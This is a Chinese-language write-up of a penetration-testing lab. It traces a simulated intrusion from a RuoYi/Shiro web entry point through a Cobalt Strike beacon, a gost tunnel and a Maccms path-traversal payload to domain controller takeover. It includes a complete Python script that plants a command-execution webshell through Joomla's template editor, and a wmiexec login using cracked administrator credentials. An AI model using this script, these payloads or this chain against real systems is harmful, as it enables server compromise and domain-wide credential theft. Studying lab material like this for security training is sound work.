CyberStrikeLab Lab12 弱口令打穿内网
仿真场景、内网渗透、横向移动、权限提升、权限维持、evasion、ATT&CK
CyberStrikeLab Lab12 弱口令打穿内网
0x01 环境说明
模拟了一个典型的企业内网环境。目标从外网边界 Web 服务开始,经过内网穿透、横向移动、权限维持,最终通过对域环境的分析与非预期解法,成功攻克域控制器(DC)。
- 初始入口:
172.66.77.88(RuoYi) - 内网网段:
10.10.10.0/24 - 攻击机: Kali Linux
拓扑
0x02 外网侧:RuoYi 框架突破与立足
2.1 Shiro 弱密钥识别
通过访问 172.66.77.88,确认目标为基于 RuoYi (若依) 框架开发的管理系统。该系统常集成 Apache Shiro 插件用于身份验证。
- 漏洞利用: 使用 Shiro 综合渗透工具对
rememberMeCookie 进行密钥爆破。 - 结果: 成功匹配到加密密钥,具备了执行反序列化攻击的基础。
2.2 内存马注入与权限提升
为了规避杀软对物理文件的扫描,我们通过 Shiro 反序列化漏洞向 JVM 注入 Behinder/AntSword 类型的内存马。
- 蚁剑上线: 成功连接内存马并获取 Flag1。
- CS 联动: 考虑到内网渗透的便利性,上传
artifact.exe(CS 木马)并通过蚁剑执行,将权限通过 Beacon 隧道回传给 Cobalt Strike。
0x03 内网侧:横向移动与双网卡渗透
3.1 信息收集与隧道搭建
在入口主机执行 ipconfig,发现其存在第二块网卡,IP 地址属于 10.10.10.0/24 网段。
为了访问内网,我们在入口主机运行 gost 建立 SOCKS5 代理:
Bash
gost -L socks5://:90023.2 苹果 CMS (10.10.10.8) 漏洞挖掘
使用 fscan 扫描发现 10.10.10.8 运行着苹果 CMS (Maccms)。
- 后台爆破: 尝试
admin / cslab安全码也为cslab 弱口令成功登录。
- 任意文件读取: 经过源码对比与审计,定位到后台模板管理处的漏洞。
- Payload:
http://10.10.10.8/admin%20/index.php?m=template-adsinfo-file-../../inc/config/config.php
- 获取 Flag2: 直接读取配置文件和系统根目录下的 flag。
同时,通过文件读取发现服务器上已有一个被前人留下的 Webshell 1.php,获取其密码 maccms 后直接蚁剑连接并上线 CS,成功抓取其本地 Hash。
0x04 目标侧:Joomla RCE 与系统接管 (10.10.10.66)
4.1 Joomla 3.6 漏洞扫描
对 10.10.10.66:8080 扫描发现其 Joomla 版本较低(3.6.x),存在信息泄露及配置不当导致的 RCE 风险。
4.2 自动化 RCE 脚本执行
编写 Python 脚本,通过 proxychains4 调用代理。脚本逻辑为:
- 模拟登录后台。
- 利用模板编辑功能新建一个名为
cmd.php的文件。
import requests
from bs4 import BeautifulSoup
import argparse
import sys
import base64
import re
def get_csrf_token(soup):
token_input = soup.find('input', type='hidden', value='1')
if token_input and len(token_input.get('name', '')) == 32:
return token_input['name']
for inp in soup.find_all('input', type='hidden'):
name = inp.get('name')
if name and len(name) == 32:
return name
return None
def login(session, admin_url, username, password):
print(f"[*] Attempting login at {admin_url}")
try:
resp = session.get(admin_url)
resp.raise_for_status()
except Exception as e:
print(f"[-] Error accessing login page: {e}")
return False
soup = BeautifulSoup(resp.text, 'html.parser')
token = get_csrf_token(soup)
if not token: return False
login_data = {
'username': username,
'passwd': password,
'option': 'com_users',
'task': 'login',
'return': '',
token: '1'
}
try:
resp = session.post(admin_url, data=login_data)
if "Log out" in resp.text or "Control Panel" in resp.text:
print("[+] Login successful!")
return True
else:
print("[-] Login failed.")
return False
except Exception as e:
print(f"[-] Error during login: {e}")
return False
def inject_shell(session, admin_base_url, template_id, file_path, shell_code):
b64_file = base64.b64encode(file_path.encode()).decode()
edit_url = f"{admin_base_url}?option=com_templates&view=template&id={template_id}&file={b64_file}"
print(f"[*] Accessing template editor: {edit_url}")
resp = session.get(edit_url)
soup = BeautifulSoup(resp.text, 'html.parser')
token = get_csrf_token(soup)
if not token: return False
clean_shell = shell_code.replace('<?php', '').replace('?>', '').strip()
# If the file is empty or new, we might need to add <?php
new_content = f"<?php {clean_shell}; ?>"
save_data = {
'jform[source]': new_content,
'task': 'template.save',
'option': 'com_templates',
'view': 'template',
'id': template_id,
'file': b64_file,
token: '1'
}
print(f"[*] Saving shell to {file_path}...")
resp = session.post(admin_base_url, data=save_data)
if "File saved" in resp.text or resp.status_code == 200:
print("[+] Template file saved successfully!")
return True
return False
def create_file(session, admin_base_url, template_id, filename):
url = f"{admin_base_url}?option=com_templates&view=template&id={template_id}"
resp = session.get(url)
soup = BeautifulSoup(resp.text, 'html.parser')
token = get_csrf_token(soup)
if not token: return False
create_data = {
'name': filename.split('.')[0],
'type': filename.split('.')[-1],
'address': '',
'task': 'template.createFile',
'option': 'com_templates',
'view': 'template',
'id': template_id,
token: '1'
}
print(f"[*] Creating new file {filename}...")
resp = session.post(admin_base_url, data=create_data)
return "File created" in resp.text or resp.status_code == 200
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("url")
parser.add_argument("--username", required=True)
parser.add_argument("--password", required=True)
parser.add_argument("--template-id", default="506")
parser.add_argument("--filename", default="cmd.php")
parser.add_argument("--shell", default="if(isset($_GET['cmd'])){ echo '<pre>'; passthru($_GET['cmd']); echo '</pre>'; }")
args = parser.parse_args()
target_url = args.url.rstrip('/')
admin_url = f"{target_url}/administrator/index.php"
session = requests.Session()
if login(session, admin_url, args.username, args.password):
if create_file(session, admin_url, args.template_id, args.filename):
if inject_shell(session, admin_url, args.template_id, "/" + args.filename, args.shell):
print(f"\n[+] SUCCESS! Shell created at: {target_url}/templates/protostar/{args.filename}?cmd=whoami")
proxychains4 python3 joomla_rce.py http://10.10.10.66:8080 --username admin --password cslab执行 whoami 显示为 nt authoritysystem。随后如法炮制,上线 CS 获取 Flag3。
0x05 域控侧:非预期解与最终突破
5.1 证书服务 (AD CS) 的探索
在 10.10.10.66 上发现其安装了 Active Directory Certificate Services。我们尝试备份 CA 数据库准备进行证书伪造(ESC8 攻击路径),并使用 BloodHound 收集域内血缘关系。
5.2 字典爆破:非预期获取域控 (10.10.10.5)
由于 AD CS 路径较为繁琐,我们尝试了另一种思路:针对性弱口令爆破。
观察到靶场中 cslab、cs1ab 等字样频繁出现,生成针对性字典后,对域管理员 Administrator 进行爆破。
- 爆破结果:
administrator : cs1ab@iwu - 横向连接: 使用
impacket套件中的wmiexec进行哈希传递或明文登录。
impacket-wmiexec cyberstrike.lab/administrator:'cs1ab@iwu'@10.10.10.5最终成功在域控 10.10.10.5 上线,获取全部权限并导出了全域 Hash,渗透任务完成。